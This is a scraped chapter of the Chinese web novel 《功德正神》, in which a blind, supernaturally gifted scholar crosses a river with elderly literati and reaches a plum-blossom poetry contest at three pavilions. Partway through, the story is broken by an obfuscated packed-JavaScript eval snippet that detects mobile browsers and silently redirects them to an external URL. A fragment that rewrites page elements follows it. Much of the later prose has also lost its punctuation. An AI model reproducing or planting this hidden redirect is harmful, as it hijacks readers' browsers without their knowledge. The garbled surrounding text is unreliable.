第135章 三亭三诗
作品:《功德正神》 要去对面山坳,就须得跨过眼前的宽敞的溪河。
好在现在是冬季,溪水枯竭,水位下降了许多,只要找一个水浅的河段,踩着石块过去就可。
陆风听着潺潺水声,跟在安从郡他们的身后顺水而下,直到在河沙堆积成的小型沙滩前停下来。
“陆先生,此处需要踏着石头过河,你可要小心一些。”
姜云台对着陆风嘱咐,他们打算一前一后将陆风拥在中间,免得他踩空落了下去。
寒冬腊月的,河面虽然还有雾气不散,看着没有多冷,但是若是真的摔进河里,肯定得大病一场。
后来的武诏先虽与陆风交谈不多,但是他见陆风眼睛看不见,就站出来道:“何须如此麻烦,我背先生过去就是。”
见他真要蹲下,安从郡赶紧把人拉住,“你们就别瞎操心了,就算是你们摔下去,被河水冲走,先生都不会摔。”
他可是看见陆风御风自由来去的,区区一条溪河,又如何能拦得住陆风。
陆风也是拱手道谢:“多谢诸位好意,但无需担忧陆某。”
说罢,他直接向前一踏,稳稳当当就落在了过河的石头之上。
众人见状,就不再纠结,姜云台与易水寒在前,陆风紧随其后,后面跟着安从郡和武诏先,五人就这么踏上了垫脚石。
这些放置在河中的巨石看来是有人专门搬过来的,水深处的石块都又高又大,十分方便。
靠近河岸的两侧水流平缓,溪水从石块之间流过,水底清澈可见,到处都是被水流冲得圆滑的石头,石块之上还有细小的鱼虾在上游荡。
五人一路走一路看,十分有闲情逸致。
驻足之时,陆风就站在石块之上,手里拿着青竹竿,静静感受着河面上吹来的带着水草味的风。
天地之大,只有身在其中才能深有体会,在这山水之中站着,风声水声混为一体,过往烦恼都显得是那样的不值一提。
安从郡也有所感,不由叹息道:“如今深觉人之渺小,宛如脚下河底的一粒泥沙,名利皆是过眼云烟。”
武诏先见安从郡悠哉悠哉,不禁问到:“既然如此看得开,名利都可以不要了,那欠我五十两什么时候还给我?”
安从郡:……
不知不觉就行到了水急处,在后面的安从郡和武诏先打太极之时,前面探路的人却是不顺。
过河的石块早已被湍急的水浪打湿,
走在前面的姜云台脚下打滑,险些就被河风给吹到了水里。
稳住身形后,姜云台回头嘱咐众人小心一些,却因为风声太大,他的话刚出口就散在了风里。
易水寒紧随其后,只是他终究是已经到了古稀之年,身体并没有姜云台这样稳,身子一歪就往河水中跌去,吓得前面的姜云台忙想回头帮扶。
千钧一发之际,陆风伸手虚虚一抬,原本急乱的风就开始往反方向吹,将要摔进河里的易水寒硬生生就给扶正了。
姜云台伸出的手就这么僵硬的横在空中,陆风后面的安从郡和武诏先并不知道前面发生了什么。但是姜云台却是看得清楚,但是因为看得太清楚,让他怀疑自己是不是生出错觉了。
方才他明明看见易水寒的半只脚已经踏进了河里,但是仅仅一个眨眼的功夫,他竟然就回到了石块上好好站着,就仿佛是自己好像眼花,看错了一样。
其实满心疑惑的不止是他。
易水寒也是如此,他感觉方才自己像是被风给扶了一把,现在还恍在梦中。
“这……我……
“先过河再说。姜云台怕事情重演,不愿在河中央停留。
陆风依旧平静,收回手淡定过河。
这一次,河面上的风像是突然转性了一般,温和到让人感觉不可思议。
众人有惊无险的上岸之后,易水寒都还心有余悸,坐到一旁休息。
“好险,老夫差点就成第一个跌落到河里淹死的大儒了。
安从郡他们听易水寒细说那惊险的一幕,都在心中替易水寒感到后怕。
“真是奇怪了,像是被人扶着过河了一样。
武诏先和安从郡不曾亲眼看见,所以安慰道:“许是紧张之余出现的错觉吧。
陆风也道:“吉人自有天相。
虽然这四人眉心处的黑气并没有散去,反而是比先前还要浓烈,甚至已经到了影响他们几人面相的程度。
但这个时候不合适说出影响他们心境的话。
“承先生吉言了。
休息一会儿后,几人收拾好心情继续上路。
一路上,陆风都在观察他们身上的黑气。
先前行到河中央,见易水寒身上的黑气大涨,他还以为助易水寒他们过河之后,他们身上的黑气自然会消失,但是没想到现在不仅没有消失,反而是越来越浓。
其他几人都是如此。
陆风十分好奇
他们就接下来会遇见什么。
路上心情恢复的易水寒还打趣道“没想到为了一口梅香老夫这一把年纪了还要历经磨难。”
“一会儿的梅香定然不会让诸位失望!”
安从郡信誓旦旦的保证。
“要是夸大其词了从郡你可要请客吃饭。”
“那是自然!”
谈话间山坳越来越近而四人身上的黑气也越来越重。
陆风皱眉抬起头看向山坳却发现前方没有任何怪异不妥的地方十分平常隐隐还有幽香。
“先生到了。”
这山坳也不远过了河往前走一段路就看见了山坳口。
众人还没进山坳就闻到了阵阵梅香
循着山路进去入眼就是几树盛开的梅花梅树下聚集几个年轻的读书人正在围炉煮茶时不时还要对两句诗词。
茶香与花香交映易水寒他们忘了过河之事心情无比的好。
那些年轻人看见陆风他们过来虽然不明白他们是什么身份但是见几人都谈吐不俗气质不凡就本能地站起身来与几人拱手行礼。
“见过几位老先生见过兄台。”
易水寒他们只是随意拜拜手早就习惯了这事。
陆风则是拱手回礼之后就跟着安从郡他们往更深处走去。
在几人走远之后那几个在树下煮茶的读书人都好奇地谈论起了安从郡他们的身份。
“这几位老先生光是看气势就不像寻常书院里的夫子。”
“我瞧着也眼生。”
“怕是来登亭的不如跟上去看一看今天的亭子可不好登。”
“走走走去看看。”
说罢几人浇灭树下火堆跟了上去。
山坳非常之大五步一梅花三步见游人。
来此处冬游的人非常多男女老少皆有只是大多都是读书人也有女子三三两两相约来此只是有意和男子隔开了一些距离。
陆风他们自然也不会往女子所在的方向挤而是直奔山坳中心的凉亭。
路上遇见了不少人这些人中除了相约游玩之外还有书院夫子带着学生过来游学的一路都是读书声和作诗词声无不是以梅花为主题。
当然饮酒作乐的也不在少数。
安从郡他们停下来听过几耳但是听完之后都是摇摇头不再停留地往前而去。
他们几人十分惹眼
不少人频频看过来。
易水寒白胡垂落身上是藏蓝色的大袖大袍脸上挂着儒雅慈祥的笑容文豪大家之气尽显。
姜云台和安从郡虽年纪未及易水寒但是也同样气度不凡。武诏先步伐稳健气势如虹也无人敢小觑他。
倒是陆风的年龄在他们四人中显得尤为突出。而且他手持竹杖仅仅是那双眼睛就足以让人多看他两眼何况一袭青衫在梅花之间更显潇洒随和。
四人都不在意他人目光安从郡自然地跟在陆风的身边问:“先生觉得先前听见的诗如何?”
安从郡说的是方才他们路过游学队伍时从队伍中传来的新作的诗。
想起那诗陆风思虑良久淡淡道:“挺好。”
听见这两个字安从郡捋捋胡子“嗯对那作诗的学子来说可能还不错。”
但是要对他们来说实在是差强人意。只是大家素不相识他们也不好跳出来说人家的诗太差所以陆风说挺好两字还挺合适。
“前方有个三重凉亭听说只有文采出众之人才能进入亭中先生可有把握?”
安从郡笑着问陆风其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011019|111590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他三人也看了过来。
相处半日他们对陆风的观感不错在棋艺方面已经明白了对方的厉害就是书法之上有安从郡的话在前他们也不会质疑。
不过作诗写文上却是丝毫不知所以他们都很好奇陆风在这方面有没有建树。
面对安从郡的问话陆风只是笑笑“陆某是同几位老先生一道来的自然是几位老先生在何处陆某就在何处。”
他怕这几人印堂发黑一不小心倒了大霉所以要跟着他们看看究竟是什么东西能让他们身上的黑气如此厚重。
闻言易水寒几人爽朗大笑“那先生可要用心了我也听说此凉亭顺山而上有三层一层一诗
要在短时间内连作三诗登顶是不容易的有人能拿出一首就已经是绞尽脑汁文气耗尽了。
面对几人的笑声陆风知道他们并没有恶意只是身为读书人的傲气让他们都认为没有年轻人能跟上他们的步伐。
只有安从郡若有所思然后看着自己的几位老友又看着陆风“那我便尽量跟上先生吧。”
易水寒他们对安从郡的话感到有些意外几人都若有所思但是都没有说话而是向着前面的亭子走去。
一路上
有不少读书人看见他们后,都拱手行礼,这是对长者的尊敬。
来到凉亭前面时,这个地方已经围聚了不少的人,男女都有。只是女子多以轻纱覆面,叫人只闻其声,不见其容。
陆风听见身旁有人议论。
“今年登亭有些难了,三亭之中,到现在只有两亭有人登上去。”
第一亭还好,上面已经坐下了十多人,看来是在苦思冥想第二亭的诗词。
而第二亭上却只有三人,同样也是在想诗词之事,只有第三亭上空无一人。
陆风他们到来之后,周围的人都不自觉地为他们让路,依旧是不少人对他们的身份感到好奇。
“这几位老先生不知是什么来路,样子看着十分厉害。”
“他们身后跟着的年轻人眼睛似乎……”
“那年轻人应该是跟着家中长辈来长眼的吧,就是不知他们是从哪里来的。”
这里虽然是濠州地界,但是因为此处山坳中的梅花十分有名,所以也有不是濠州之人来到此处,这里出现新面孔也不足为奇。
陆风好似没有听见旁边人的议论声。他往手中青竹竿上附着功德,朝地上一震,当初教宫巡缮的手段再现,整个山坳的情况被他尽收眼底。
他的动作很轻,无人察觉。
陆风最先四处环顾,在确定山坳之中没有什么问题之后,才向那所谓的三重亭看去。
确实如安从郡他们说的那样,三座亭子顺山而上,每个亭子相隔有二十个台阶,第三个亭子与地面有几丈的落差。
与寻常亭子不同的是,这三个亭子中央都有一个石碑,碑上都贴在一首诗。
“登亭细则为何?”
安从郡来到濠州有些日子了,所以对这个山坳中的文会比较了解。
给几人解释道:“这梅花能开几日,但是这人却不是天天都来的,所以前人来之时会聚在一起作诗,然后选出最好的三首诗,依次贴在三个亭子的石碑之上。”
“后来的人若是能作出比这三首还要好的诗词,自然就能登上亭子。”
“而且今日文会结束之后,明日还会从今日登亭人的诗中,选出更好的诗词贴在石碑之上,再等人前来挑战,如此循环,直到梅花凋谢。”
“最后一日留下的诗,就是今年最佳。”
所以现在凉亭之上贴着的,正是昨日作出来的、最好的三首诗。
但易水寒几人对那三首诗的评价,是勉强。
这终究只是一个小文会,所以来的人并没有什么特别厉害角色,所作的诗在易水寒他们眼中自然也算不上太好。
只有第三亭上的诗让人觉得尚可。
几人并不着急登亭,而是观望了一阵。安从郡则是将那亭上贴着的三首诗依次念给陆风听。
在陆风听来,这三诗其实也挺不错了,只是它们运气不好,遇上了易水寒这些人。
许久不见有人登亭后,姜云台才道:“咱们开始吧,赌赌看谁的诗会留到最后,成为今年最佳。”